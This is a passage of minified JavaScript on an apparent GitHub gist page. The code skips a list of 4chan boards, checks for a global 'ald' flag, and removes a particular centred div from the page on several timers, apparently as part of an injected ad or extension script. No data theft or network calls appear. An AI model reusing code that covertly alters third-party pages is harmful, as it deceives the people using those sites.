| if (-1 != window.document.location.href.indexOf("boards.4chan.org/b/") || -1 != window.document.location.href.indexOf("boards.4chan.org/r9k/") || -1 != window.document.location.href.indexOf("boards.4chan.org/pol/") || -1 != window.document.location.href.indexOf("boards.4chan.org/bant/") || -1 != window.document.location.href.indexOf("boards.4chan.org/soc/") || -1 != window.document.location.href.indexOf("boards.4chan.org/s4s/") || -1 != window.document.location.href.indexOf("boards.4chan.org/r/") || | |
| -1 != window.document.location.href.indexOf("boards.4chan.org/aco/") || -1 != window.document.location.href.indexOf("boards.4chan.org/gif/") || -1 != window.document.location.href.indexOf("boards.4chan.org/hr/") || -1 != window.document.location.href.indexOf("boards.4chan.org/t/") || -1 != window.document.location.href.indexOf("boards.4chan.org/y/") || -1 != window.document.location.href.indexOf("boards.4chan.org/d/") || -1 != window.document.location.href.indexOf("boards.4chan.org/u/") || -1 != window.document.location.href.indexOf("boards.4chan.org/e/") || | |
| -1 != window.document.location.href.indexOf("boards.4chan.org/h/") || -1 != window.document.location.href.indexOf("boards.4chan.org/hm/") || -1 != window.document.location.href.indexOf("boards.4chan.org/hc/") || -1 != window.document.location.href.indexOf("boards.4chan.org/s/")) | |
| return !1; | |
| try { | |
| for (var a = window.document.head.getElementsByTagName("style"), c = 0; c < a.length; c++) | |
| if (-1 < a[c].textContent.indexOf(":root")) | |
| return !1; | |
| if (!window.ald) | |
| return !1 | |
| } catch (b) {} | |
| } | |
| ; | |
| bc = function() { | |
| return !0 | |
| } | |
| ; | |
| Bc.prototype.Gc = function() { | |
| if (this.K) | |
| try { | |
| setTimeout(function() { | |
| document.querySelector("#bd > div:nth-child(7)") && "center" == document.querySelector("#bd > div:nth-child(7)").style.getPropertyValue("text-align") && "10px 0px" == document.querySelector("#bd > div:nth-child(7)").style.getPropertyValue("margin") && (child = document.querySelector("#bd > div:nth-child(7)"), | |
| child.parentElement.removeChild(child)) | |
| }, 2E3), | |
| setTimeout(function() { | |
| document.querySelector("#bd > div:nth-child(7)") && "center" == document.querySelector("#bd > div:nth-child(7)").style.getPropertyValue("text-align") && | |
| "10px 0px" == document.querySelector("#bd > div:nth-child(7)").style.getPropertyValue("margin") && (child = document.querySelector("#bd > div:nth-child(7)"), | |
| child.parentElement.removeChild(child)) | |
| }, 1E3), | |
| setTimeout(function() { | |
| document.querySelector("#bd > div:nth-child(7)") && "center" == document.querySelector("#bd > div:nth-child(7)").style.getPropertyValue("text-align") && "10px 0px" == document.querySelector("#bd > div:nth-child(7)").style.getPropertyValue("margin") && (child = document.querySelector("#bd > div:nth-child(7)"), | |
| child.parentElement.removeChild(child)) | |
| }, 3E3) | |
| } catch (a) {} | |
| } | |
| ; | |
| var bc = function() { | |
| return !0 | |
| } | |
| , Cb = function() { | |
| return !0 | |
| } | |
| , Fc = arguments[0][0]; | |
| try { | |
| (new Bc(Fc)).start() | |
| } catch (a) {} | |
| ; | |
| })(arguments); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment